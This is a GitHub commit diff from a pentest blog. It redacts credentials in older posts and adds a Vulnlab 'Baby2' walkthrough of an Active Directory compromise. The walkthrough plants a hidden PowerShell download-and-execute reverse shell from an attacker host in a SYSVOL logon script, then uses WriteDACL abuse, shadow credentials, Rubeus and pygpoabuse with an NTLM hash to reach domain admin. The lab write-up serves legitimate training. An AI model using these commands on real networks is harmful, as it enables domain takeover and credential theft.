Skip to content

Commit 80e8b94

Browse files
committed
Baby2
1 parent 729d2b6 commit 80e8b94

13 files changed

+189
-14
lines changed

source/_posts/HackTheBox/2023-02-04-Shocker.md

+2-1
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,8 @@ At first, I did a Nmap scan for open ports and services.
2525

2626
![](https://photos.squarezero.dev/file/abir-images/Shocker/1.png)
2727

28-
|Ports|Service
28+
| Ports | Service
29+
|:-------------:|:-------------:|
2930
|80| Apache httpd 2.4.18 ((Ubuntu))
3031
|2222| OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
3132

source/_posts/HackTheBox/2023-02-18-Beep.md

+1
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ I begin as usual with a Nmap scan.
4242
Multiple ports are open.
4343

4444
|Ports|Service
45+
|:-------------:|:-------------:|
4546
|22| ssh OpenSSH 4.3 (protocol 2.0)
4647
|25| smtp
4748
|80| Apache httpd 2.2.3

source/_posts/HackTheBox/2023-03-04-Cronos.md

+1
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ First I check for available open ports.
2727
![](https://photos.squarezero.dev/file/abir-images/Cronos/1.png)
2828

2929
|Ports|Service
30+
|:-------------:|:-------------:|
3031
|22| ssh OpenSSH 7.2p2 (4Ubuntu2.1)
3132
|53| DNS
3233
|80| Apache httpd 2.4.18

source/_posts/HackTheBox/2023-12-14-Bastion.md

+1
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ First I check for available open ports.
2626
`nmap -sC -sV -p21,22,80,135,139,445,5985,39517 10.10.10.134 -oA ./nmap/bastion.txt `
2727

2828
|Ports|Service
29+
|:-------------:|:-------------:|
2930
|22| ssh OpenSSH for_Windows_7.9 (protocol 2.0)
3031
|135| msrpc Microsoft Windows RPC
3132
|139| netbios-ssn Microsoft Windows netbios-ssn

source/_posts/HackTheBox/2023-12-15-Access.md

+1
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ First I check for available open ports.
2626
`nmap -sC -sV -p21,23,80 10.10.10.98 -oA ./nmap/access`
2727

2828
|Ports|Service
29+
|:-------------:|:-------------:|
2930
|21| ssh OpenSSH for_Windows_7.9 (protocol 2.0)
3031
|22| ssh OpenSSH for_Windows_7.9 (protocol 2.0)
3132
|80| msrpc Microsoft IIS httpd 7.5

source/_posts/HackTheBox/2023-12-16-Remote.md

+1
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ First I check for available open ports.
2626
`nmap -sC -sV -p21,22,80,135,139,445,5985,39517 10.10.10.180 -oA ./nmap/remote `
2727

2828
|Ports|Service
29+
|:-------------:|:-------------:|
2930
|21| ftp Microsoft ftpd
3031
|80| http Microsoft HTTPAPI httpd 2.0
3132
|111| rpcbind

source/_posts/HackTheBox/2023-12-20-Jeeves.md

+1
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ First I check for available open ports.
2626
`nmap -sC -sV -p80,135,445,50000 10.10.10.63 -oA ./nmap/jeeves -Pn`
2727

2828
|Ports|Service
29+
|:-------------:|:-------------:|
2930
|80| msrpc Microsoft IIS httpd 10.0
3031
|135| msrpc Microsoft Windows RPC
3132
|445| Windows Server 2016 Standard 14393

source/_posts/HackTheBox/2023-12-21-Escape.md

+1
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ nmap -sC -sV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 10.10.
2929
```
3030

3131
|Ports|Service
32+
|:-------------:|:-------------:|
3233
|53| domain Simple DNS Plus
3334
|88| kerberos-sec Microsoft Windows Kerberos
3435
|135| msrpc Microsoft Windows RPC

source/_posts/Vulnlab/2024-05-09-Trusted.md

+7-7
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ After decoding the base64 string I checked the output and found **db.php**.
154154
![](https://photos.squarezero.dev/file/abir-images/Trusted/8.png)
155155
156156
I used the same php wrapper to see db.php file and after decoding I got the credential for MySQL server.
157-
`mysql -u root -p 'Sup<..snip...>' -h 10.10.152.246`
157+
`mysql -u root -p '<REDACTED>' -h 10.10.152.246`
158158
![](https://photos.squarezero.dev/file/abir-images/Trusted/9.png)
159159
![](https://photos.squarezero.dev/file/abir-images/Trusted/10.png)
160160
![](https://photos.squarezero.dev/file/abir-images/Trusted/11.png)
@@ -169,8 +169,8 @@ MariaDB [mysql]> select * from user;
169169
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
170170
| Host | User | Password | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_>
171171
+-----------+------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------->
172-
| localhost | root | *665C8B0E1F0044B6A<snip> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
173-
| % | root | *665C8B0E1F0044B6A9<snip> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
172+
| localhost | root | <REDACTED> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
173+
| % | root | <REDACTED> | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
174174
| 127.0.0.1 | root | | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
175175
| ::1 | root | | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y >
176176
| localhost | pma | | N | N | N | N | N | N | N | N | N | N | N | N | N >
@@ -183,9 +183,9 @@ MariaDB [news]> select * from users;
183183
+----+------------+--------------+-----------+----------------------------------+
184184
| id | first_name | short_handle | last_name | password |
185185
+----+------------+--------------+-----------+----------------------------------+
186-
| 1 | Robert | rsmith | Smith | 7e7abb54bbef<snip> |
187-
| 2 | Eric | ewalters | Walters | d6e81aeb4df93<snip> |
188-
| 3 | Christine | cpowers | Powers | e3d3eb0f46fe<snip> |
186+
| 1 | Robert | rsmith | Smith | <REDACTED> |
187+
| 2 | Eric | ewalters | Walters | <REDACTED> |
188+
| 3 | Christine | cpowers | Powers | <REDACTED> |
189189
+----+------------+--------------+-----------+----------------------------------+
190190
3 rows in set (0.128 sec)
191191
```
@@ -280,7 +280,7 @@ I have already got KRBTGT hash from the previous hash dump. I got both SIDs with
280280
281281
Now I used Impacket to request TGT for Administrator of TrustedDC as LabDC.
282282
283-
`ticketer.py -nthash c7a03c565<..snip..> -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -domain lab.trusted.vl Administrator`
283+
`ticketer.py -nthash <REDACTED> -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 -domain lab.trusted.vl Administrator`
284284
285285
![](https://photos.squarezero.dev/file/abir-images/Trusted/23.3.png)
286286

source/_posts/Vulnlab/2024-05-24-Build.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -159,7 +159,7 @@ MariaDB [powerdnsadmin]> SELECT * FROM user;
159159
+----+----------+--------------------------------------------------------------+-----------+----------+----------------+------------+---------+-----------+
160160
| id | username | password | firstname | lastname | email | otp_secret | role_id | confirmed |
161161
+----+----------+--------------------------------------------------------------+-----------+----------+----------------+------------+---------+-----------+
162-
| 1 | admin | $2b$12$s1hK0o7YSc2<...SNIP...>.hsEq | admin | admin | [email protected] | NULL | 1 | 0 |
162+
| 1 | admin | <REDACTED> | admin | admin | [email protected] | NULL | 1 | 0 |
163163
+----+----------+--------------------------------------------------------------+-----------+----------+----------------+------------+---------+-----------+
164164
1 row in set (0.128 sec)
165165
MariaDB [powerdnsadmin]> SELECT * FROM records;

source/_posts/Vulnlab/2024-06-01-Hybrid.md

+4-4
Original file line numberDiff line numberDiff line change
@@ -69,8 +69,8 @@ I found credentials inside the tar file.
6969
Inside I find 2 credentials
7070

7171
```bash
72-
[email protected]:{plain}Duc<snip>
73-
[email protected]:{plain}Pet<snip>
72+
[email protected]:{plain}<REDACTED>
73+
[email protected]:{plain}<REDACTED>
7474
```
7575

7676
Login to the mail server using Admin credentials
@@ -187,7 +187,7 @@ After running Bloodhound didn't find anything interesting.
187187

188188
Next, I looked for certificate vulnerability using Certipy and it's vulnerable to ESC1
189189

190-
`certipy find -u 'peter.turner' -p 'b0cw<snip>' -dc-ip 10.10.134.197 -enabled -vulnerable -stdout`
190+
`certipy find -u 'peter.turner' -p '<REDACTED>' -dc-ip 10.10.134.197 -enabled -vulnerable -stdout`
191191

192192
![](https://photos.squarezero.dev/file/abir-images/hybrid/20.png)
193193

@@ -202,7 +202,7 @@ https://github.com/sosdave/KeyTabExtract
202202
Now I can request pfx with the right length of RSA
203203

204204
```bash
205-
certipy req -u 'mail01$'@hybrid.vl -hashes '0f916c52<snip>' -dc-ip 10.10.246.165 -ca hybrid-DC01-CA -template HybridComputers -upn [email protected] -key-size 4600
205+
certipy req -u 'mail01$'@hybrid.vl -hashes '<REDACTED>' -dc-ip 10.10.246.165 -ca hybrid-DC01-CA -template HybridComputers -upn [email protected] -key-size 4600
206206
```
207207

208208
![](https://photos.squarezero.dev/file/abir-images/hybrid/22.png)
+167
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
---
2+
cover: https://photos.squarezero.dev/file/abir-images/Baby2/logo.png
3+
date: 2024-08-06 09:45:47 +07:00
4+
modified: 2024-08-06 09:45:47 +07:00
5+
categories: Vulnlab
6+
machine_author:
7+
name: r0BIT
8+
link: https://www.linkedin.com/in/robin-unglaub/
9+
tags: [Nmap, SMB, VBS Phishing, SYSVOL, BloodHound, PowerView, WriteDACL, Shadow Credentials, GPO Abuse, Privilege Escalation, Reverse Shell, TGT, NTLM Hash, Scheduled Task, Active Directory]
10+
title: Baby2 - Vulnlab
11+
---
12+
13+
![](https://photos.squarezero.dev/file/abir-images/htbasset/vulnbanner.png)
14+
15+
Baby2 is a **Medium** difficult machine where I began with a Nmap scan revealing several open ports on the target, including SMB and LDAP. Access to SMB shares with a null password provided read/write permissions on the homes share, revealing user information and a VBS logon script in the SYSVOL share. The script was modified to execute a reverse shell, leading to access as the user Amelia Griffiths. Using BloodHound and PowerView, it was discovered that Amelia had WriteDACL rights over the GPOADM account. This privilege was used to create shadow credentials, gain a TGT, and ultimately compromise the domain by creating a new admin user, allowing full control of the system.
16+
17+
# Enumeration
18+
The Nmap scan shows the following ports.
19+
20+
```Bash
21+
PORT STATE SERVICE
22+
53/tcp open domain
23+
88/tcp open kerberos-sec
24+
135/tcp open msrpc
25+
139/tcp open netbios-ssn
26+
389/tcp open ldap
27+
445/tcp open microsoft-ds
28+
464/tcp open kpasswd5
29+
593/tcp open http-rpc-epmap
30+
636/tcp open ldapssl
31+
3268/tcp open globalcatLDAP
32+
3269/tcp open globalcatLDAPssl
33+
3389/tcp open ms-wbt-server
34+
5985/tcp open wsman
35+
9389/tcp open adws
36+
```
37+
I can enumerate shares with username and null password. I have READ and WRITE permission on homes share.
38+
`netexec smb 10.10.84.43 -u 'sz' -p '' --shares`
39+
![](https://photos.squarezero.dev/file/abir-images/Baby2/1.png)
40+
41+
Inside apps share I found a shortcut file that shows that there is a scripts folder inside SYSVOL where it's connected to.
42+
![](https://photos.squarezero.dev/file/abir-images/Baby2/2.png)
43+
44+
![](https://photos.squarezero.dev/file/abir-images/Baby2/3.png)
45+
46+
On **homes** share there is a list of users.
47+
48+
![](https://photos.squarezero.dev/file/abir-images/Baby2/4.png)
49+
50+
After brute forcing using I found 2 domain creds. And user library has both READ & WRITE access on SYSVOL share.
51+
52+
![](https://photos.squarezero.dev/file/abir-images/Baby2/5.png)
53+
![](https://photos.squarezero.dev/file/abir-images/Baby2/6.png)
54+
55+
Inside SYSVOL I found a VBS logon script.
56+
57+
![](https://photos.squarezero.dev/file/abir-images/Baby2/7.png)
58+
59+
```vb
60+
Sub MapNetworkShare(sharePath, driveLetter)
61+
Dim objNetwork
62+
Set objNetwork = CreateObject("WScript.Network")
63+
64+
' Check if the drive is already mapped
65+
Dim mappedDrives
66+
Set mappedDrives = objNetwork.EnumNetworkDrives
67+
Dim isMapped
68+
isMapped = False
69+
For i = 0 To mappedDrives.Count - 1 Step 2
70+
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
71+
isMapped = True
72+
Exit For
73+
End If
74+
Next
75+
76+
If isMapped Then
77+
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
78+
End If
79+
80+
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
81+
82+
If Err.Number = 0 Then
83+
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
84+
Else
85+
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
86+
End If
87+
88+
Set objNetwork = Nothing
89+
End Sub
90+
91+
MapNetworkShare "\\dc.baby2.vl\apps", "V"
92+
MapNetworkShare "\\dc.baby2.vl\docs", "L"
93+
```
94+
# VBS Phishing
95+
96+
I have changed the script so that when someone login and the script executes, it will download my reverse-shell script and execute it. And then replaced the script with the original one.
97+
98+
![](https://photos.squarezero.dev/file/abir-images/Baby2/8.png)
99+
100+
```vb
101+
set shell = CreateObject("WScript.Shell")
102+
shell.Run("powershell -w hidden -ep bypass -c IEX(New-Object System.Net.WebClient).DownloadString('http://10.8.2.110/rev.ps1');")
103+
104+
MapNetworkShare "\\dc.baby2.vl\apps", "V"
105+
MapNetworkShare "\\dc.baby2.vl\docs", "L"
106+
```
107+
108+
After the script executed I got the reverse shell as **Amelia Griffiths**
109+
![](https://photos.squarezero.dev/file/abir-images/Baby2/9.png)
110+
![](https://photos.squarezero.dev/file/abir-images/Baby2/10.png)
111+
112+
# Write DACL
113+
Amelia is in some non-default Windows groups.
114+
![](https://photos.squarezero.dev/file/abir-images/Baby2/12.png)
115+
116+
I ran Bloodhound to enumerate domain and ACL and Amelia is a member of Legacy and has WriteDACL on GPOADM. and GPOADM use have GenericAll to Domain Policy.
117+
`bloodhound-python -u 'Carl.Moore' -p 'Carl.Moore' -ns 10.10.73.219 -d baby2.vl -c all --auth-method auto --zip --dns-tcp`
118+
![](https://photos.squarezero.dev/file/abir-images/Baby2/14.png)
119+
120+
I used PowerView to make Amelia the owner of GPOADM and then give Amelia GenericAll the rights over GPOADM.
121+
122+
`Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity amelia.griffiths`
123+
`Add-DomainObjectAcl -TargetIdentity "gpoadm" -PrincipalIdentity Amelia.Griffiths -Rights All`
124+
125+
![](https://photos.squarezero.dev/file/abir-images/Baby2/18.png)
126+
127+
To confirm the change I used the following command.
128+
`get-aduser gpoadm | ForEach-Object {Get-ACL "AD:\$($_.DistinguishedName)" | Select-Object -ExpandProperty Owner}`
129+
130+
# Shadow Credentials
131+
Now using the rights I can create shadow credentials.
132+
133+
`.\Whisker.exe add /target:gpoadm /domain:baby2.vl /dc:dc.baby2.vl /path:C:\Users\Public\cert.pfx /password:Password`
134+
135+
![](https://photos.squarezero.dev/file/abir-images/Baby2/19.png)
136+
137+
Using the certificate I can now generate a TGT using Rubeus.
138+
`Rubeus.exe asktgt /user:gpoadm /certificate:C:\Users\Public\cert.pfx /password:"Password" /domain:baby2.vl /dc:dc.baby2.vl /getcredentials /show`
139+
140+
![](https://photos.squarezero.dev/file/abir-images/Baby2/20.png)
141+
142+
Using GPOADM NTLM hash I can create a scheduled task where it will create a new user John with Administrator privilege. **pygpoabuse** needs a GPO ID to abuse it.
143+
`python3 pygpoabuse.py baby2.vl/GPOADM -hashes :51B4E7AEE2FBDD4E36F2381115C8FE7A -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -f -dc-ip 10.10.73.219`
144+
![](https://photos.squarezero.dev/file/abir-images/Baby2/16.png)
145+
![](https://photos.squarezero.dev/file/abir-images/Baby2/21.png)
146+
147+
Note: In Powershell Get-GPO -all also get all the GPO IDs.
148+
149+
To make the process faster and apply the GPO update.
150+
`gpudate /force`
151+
152+
Now I can log in as John and get the root flag.
153+
154+
![](https://photos.squarezero.dev/file/abir-images/Baby2/22.png)
155+
156+
# Password Reset
157+
Alternatively, I could change the password of the user which is not OFFSEC-friendly.
158+
159+
First I can give group legacy GenericALL permission.
160+
`Add-DomainObjectAcl -TargetIdentity "GPOADM" -PrincipalIdentity legacy -Domain baby2.vl -Rights All -Verbose`
161+
162+
Next, reset and give a new password to the GPOADM user.
163+
`Set-ADAccountPassword -Identity 'CN=GPOADM,OU=GPO-MANAGEMENT,DC=BABY2,DC=VL' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password" -Force)`
164+
165+
Using the new password I can create a scheduled task where it will create a new user with administrator privileges.
166+
`python3 pygpoabuse.py -user 'baby2.vl/gpoadm:Password' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -f -dc-ip 10.10.73.219`
167+
![](https://photos.squarezero.dev/file/abir-images/Baby2/17.png)

yarn.lock

+1-1
Original file line numberDiff line numberDiff line change
@@ -1048,7 +1048,7 @@ jsdom@^20.0.1:
10481048
whatwg-encoding "^2.0.0"
10491049
whatwg-mimetype "^3.0.0"
10501050
whatwg-url "^11.0.0"
1051-
ws "^8.11.0"
1051+
ws "^8.17.1"
10521052
xml-name-validator "^4.0.0"
10531053

10541054
jsonparse@^1.3.1:

0 commit comments

Comments
 (0)